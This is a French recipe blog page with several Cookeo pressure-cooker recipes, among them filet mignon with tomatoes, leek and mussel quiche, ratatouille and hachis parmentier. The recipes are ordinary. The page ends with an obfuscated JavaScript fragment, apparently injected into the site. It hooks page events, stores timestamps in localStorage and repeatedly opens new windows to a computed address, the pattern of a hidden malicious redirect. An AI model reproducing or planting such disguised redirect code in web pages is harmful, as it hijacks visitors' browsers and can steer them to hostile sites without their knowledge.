Filet mignon tomates recette cookeo

150 CALORIES 3 PP 4 SP

Ingrédients  pour 4 personnes

1 filet mignon (400 g)

125 g de tomates pelées

100 ml de vin blanc

100 ml d’eau

2 cuillères à soupe de concentré de tomates

100 g d’oignons

1 cube de bouillon de bœuf

Huile d’olive

Curry

Sel

Poivre
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Préparation

Mode dorer

Versez de l’huile d’olive dans la cuve et faites revenir le filet mignon puis les oignons .

Versez un bouillon composé de 100 ml de vin blanc,100 ml d’eau et un cube de bouillon de bœuf émietté.

Déposez dans la cube les tomates pelées.

Salez et poivrez selon votre convenance et saupoudrez de curry.

 

Cuisson rapide ou sous  pression

Programmez  25 mn

Quand la cuisson est terminée coupez votre filet mignon en tranches puis ajoutez 2 cuillères à café de concentré de tomates dans la cuve .

Déposez les tranches de filet mignon . Servez chaud
[youtube https://www.youtube.com/watch?v=-2AJdzHwCoo&w=560&h=315]

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Quiche moules poireaux recette cookeo

Ingrédients

1 pâte feuillettée

150 g de moules

300 g de poireaux

100 g d’oignon

1 cuillère à soupe de moutarde

100 g de gruyère râpé

2 œufs

1 petit verre de vin blanc

4 cuillères à soupe de crème fraîche

100 ml de lait

Huile d’olive

Sel

Poivre

Préparation

Préchauffez votre four à 180°

Mode dorer

Versez de l’huile d’olive dans la cuve puis faites revenir les oignons et les rondelles de poireaux. Ajutez les moules au bout de 2 mn de fonction dorer .

Etalez votre pâte feuilletée et piquez la .

Dans un saladier battez les œufs avec le lait la crème fraîche et la cuillère à soupe de moutarde.

Salez et poivrez.

Au bout de 8 mn de fonction dorer ajoutez le verre de vin blanc . Arrêtez le mode dorer à 10 mn ;

Au bout de 10 mn de fonction dorer versez le contenu de la cuve (poireaux oignons moules ) sur la pâte feuillettée.

Versez la préparation œufs lait crème fraîche sur les poireaux et les moules .

Saupoudrez de gruyère râpé et enfournez  pendant 30  mn .

Servez chaud .

[youtube https://www.youtube.com/watch?v=FopMO_wB8Io]
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Cuisse dinde pommes de terre recette cookeo

Ingrédients pour 4 personnes
1  cuisse de dinde
1 oignon

1 petit verre de vin blanc

Thym

1 cuillère à soupe de moutarde

Poivre

Sel

300 ml d’eau

1 cube de bouillon de volaille

6 pommes de terre

1 petite boîte de champignons de Paris

1 petite boîte de tomates pelées
Préparation
Versez de l’huile d’olive dans la cuve puis faites revenir la cuisse de dinde.

Faites  dorer ensuite les oignons ;Versez le verre de vin blanc et les 300 ml  d’eau avec le cube de bouillon de volaille. Salez et poivrez
Cuisson rapide ou sous pression
Programmez 25 minutes
Quand la cuisson est terminée ouvrez votre cookeo et ajoutez les champignons la boîte de tomates pelées et les pommes de terre que vous avez épluchées pendant la cuisson de la cuisse de dinde .

Reprogrammer 15 minutes de cuisson ; Au  bout des 15 mn  ouvrez votre cookeo et ajoutez la cuillère à soupe de moutarde mélangez et servez chaud.
[youtube https://www.youtube.com/watch?v=Dtj1W_W5YHs]
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js
//
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

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Voici une recette d’oeuf cocotte jambon Boursin au cookeo . Cette recette est très facile et très rapide à réaliser. Les ingrédients sont données pour une cocotte ,il suffit de multiplier les quantités pour réaliser la recette pour 2 ou 3 ou 4 personnes (sauf l’eau bien sûr qui reste à 200 ml)

Ingrédients pour une cocotte

1 œuf

50 g de dés de jambon

2 cuillères à soupe de Boursin ou équivalent

Sel

Poivre

200 ml d’eau

Préparation

Déposez dans une cocotte les 2 cuillères à café de Boursin .

Déposez sur le Boursin les dés de jambon

Salez et poivrez selon votre convenance

Cassez l’œuf sur l’ensemble des ingrédients

Déposez la cocotte dans le panier vapeur .

Versez l’eau dans la cuve .

Cuisson rapide ou sous pression

Programmez 3 mn

Servez chaud
[youtube https://www.youtube.com/watch?v=IZjewYIOrPI]
https://dailymotion.com/video/x5m50jb?autoPlay=1
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Ratatouille piment Espelette weight watchers au cookeo

215 CALORIES 5 PP 3 SP

Ingrédients pour 4 personnes

200 g de poivrons surgelés en lanières

4 tomates

1 pomme de terre (200 g)

100 g d’oignons congelés ou 1 oignon frais

1 aubergine ou 200 g d’aubergines congelées

200 g de courgettes congelées ou une courgette fraîche

1 cuillère à café d’ail déshydraté ou 2 gousses d’ail

2 cuillères à café d’huile d’olive

1 cuillère à café d’herbes de Provence

¼ de cuillère à café de Piment d’Espelette

200 ml d’eau

1 cube de bouillon de bœuf

2 cuillères à soupe de concentré de tomates

Sel

Préparation

Mode dorer

Versez l’huile d’olive dans la cuve et faites dorer les oignons et l’ail .

Faites ensuite revenir les poivrons verts , les morceaux d’aubergines et les rondelles de courgettes.

Ajoutez les tomates et la pomme de terre coupée en morceaux .

Salez , saupoudrez de piment d’Espelette et d’herbes de Provence

Versez 200 ml d’eau et le cube de bouillon de bœuf émietté.

Cuisson rapide ou sous pression

Programmez  3mn

Quand la cuisson est terminée ajoutez les cuillères de concentré de tomates et mélangez.
[youtube https://www.youtube.com/watch?v=awwDFpGqPAM]
https://dailymotion.com/video/x5lzn97?autoPlay=1
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Endives jambon bière weight watchers cookeo

270 CALORIES       5 PP              4 SP 

Ingrédients pour 4 personnes

4 endives

200  g de dés de jambon

1 cuillère à soupe de cassonade ou de sucre en poudre

100 g d’oignons

100 ml de bière

200 ml d’eau

12 baies de genièvre

Huile d’olive

Sel

Poivre

Préparation

Enlevez les premières feuilles des endives ainsi que les trognons. Lavez vos endives

Mode dorer

Versez de l’huile d’olive dans la cuve puis faites revenir les oignons .

Au bout d’une minute ajoutez les dés de jambon .

Ajoutez ensuite les endives . Saupoudrez avec la cassonade ou le sucre en poudre. Retournez les endives sous toutes leurs faces

Versez la bière  et 100 ml d’eau .

Salez et poivrez . Ajoutez les baies de genièvre.

Cuisson rapide ou sous pression

Programmez  25 mn

Servez chaud
[youtube https://www.youtube.com/watch?v=Cjs9B1l0LzY]
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Gratin spaghettis jambon cookeo

Ingrédients pour 4 personnes

280 g de spaghettis

200 g de dés de jambon

100 g de gruyère râpé

2 cuillères à soupe de crème fraîche

1 cube de bouillon de bœuf

500 ml d’eau

Sel

Poivre

Préparation

Préchauffer votre four à 210 °

Cassez les spaghettis en 2 et déposez les dans  la cuve

Ajoutez les dés de jambon .

Versez l’eau et le cube de bouillon de bœuf émietté

Salez et poivrez selon votre convenance

 

Cuisson rapide ou sous pression

Programmez 4 mn (le temps indiqué sur le paquet de spaghettis divisé par 2 )

Quand la cuisson est terminée ajoutez les 2 cuillères à soupe de crème fraîche et mélangez.

Déposez les spaghettis et les dés de jambon dans un plat qui va au four

Enfournez pour 20 mn

Servez chaud

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Poulet entier moutarde recette cookeo

Ingrédients

1 poulet

300 g de champignons de Paris

100 g d’oignons congelés ou un oignon

2 cuillères à soupe de moutarde

2 cuillères à soupe de crème fraîche

100 ml de vin blanc

200 ml d’eau

1 cube de bouillon de volailles

Huile d’olive

Sel

Poivre

Préparation

Mode dorer

Versez de l’huile d’olive dans la cuve et faites revenir les oignons et le poulet sur toutes ses faces .

Ajoutez les champignons

Versez le bouillon composé d’eau , de vin blanc et du cube de bouillon de volailles.

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 15 mn pour 500 g .Pour mon poulet de 1 , 3 kg je vais programmez 37 mn
[youtube https://www.youtube.com/watch?v=O2nSvg9NnVY]

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Hachis parmentier recette cookeo

Ingrédients pour 6  personnes

600 g de viande hachée

100 g d’oignons

1,5 kg de pommes de terre

Huile d’olive

400 ml d’eau

1 cube de bouillon de boeuf

1 cuillère à café d’ail déshydraté

sel

100 g de gruyère rape

2 cuillères à soupe de crème fraîche

400 ml d’eau

Muscade

Préparation

Mode dorer

Versez l’huile dans la cuve et faites revenir la viande hachée , l’oignon et l’ail .

Réservez la viande et les oignons dans un plat qui va au four .

Sans laver la cuve déposez les pommes de terre coupées en morceaux  ,versez les 400 ml d’eau avec le cube de bouillon de boeuf.

Salez et poivrez selon votre convenance

Saupoudrez de muscade .

Cuisson rapide ou sous pression

Programmez  15 mn.

Quand la cuisson est terminée passez les pommes de terre au presse purée.

Ajoutez la crème fraîche .

Répartissez la purée sur la viande hachée.

Saupoudrez de gruyère râpé .

En fournez pendant 10 mn à 180 ° . Puis passez en position grill pendant 5 mn

Servez chaud
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Veau provençale recette cookeo

Ingrédients pour 4 personnes

100 d’oignons congelés

1 kg  de veau en morceaux

300 g de lanières de poivrons congelées

100 g d’olives dénoyautées

200 ml d’eau

2 Cuillères à café de concentré de tomate

1 petite boite de tomates pelées

1 cuillère à soupe de moutarde

1 cube de bouillon de boeuf

Huile d’olive

Sel, poivre

Préparation :

Mode dorer

Versez l’huile dans la cuve  et faites revenir les morceaux  d’oignon  et de viande .

Ajoutez ensuite les poivrons .

Ajoutez Les olives.

Versez la boite de tomates pelées.

Versez 200 ml d’eau avec le cube de bouillon de bœuf émietté.

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 18 mn .

Quand la cuisson est terminée ajoutez les 2 cuillères à café de  concentré de tomates et  la cuillère de moutarde

Servez chaud .
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

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[youtube https://www.youtube.com/watch?v=l9HbFSFxiNE]
https://dailymotion.com/video/x5kjnaz?autoPlay=1

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Purée crevettes paprika recette cookeo

Voici une recette de purée crevettes paprika . Une recette inspirée d’une recette weight watchers qui s’intitulait hachis crevettes paprika . Un plat que j’ai légèrement modifié comme d’habitude.

300 CALORIES   6 PP 7 SP

Ingredients pour 5  personnes

1,200 kg de pommes de terre

500 crevettes décortiquées congelées

500 ml d’eau

1 cube de bouillon de volaille

sel

Poivre

2 cuillères à soupe de crème fraîche

Paprika

 Préparation

Déposez les pommes de terre coupées en morceaux  dans la cuve ,versez les 500 ml d’eau avec le cube de bouillon de volaille.

Ajoutez les crevettes décortiquées congelées

 

Salez et poivrez selon votre convenance

Saupoudrez de paprika .

Cuisson rapide ou sous pression

Programmez  15 mn.

 

Quand la cuisson est terminée passez les pommes de terre au presse purée.

Ajoutez la crème fraîche .

Servez chaud

 
[youtube https://www.youtube.com/watch?v=_hjNYdkVBlY]
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_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());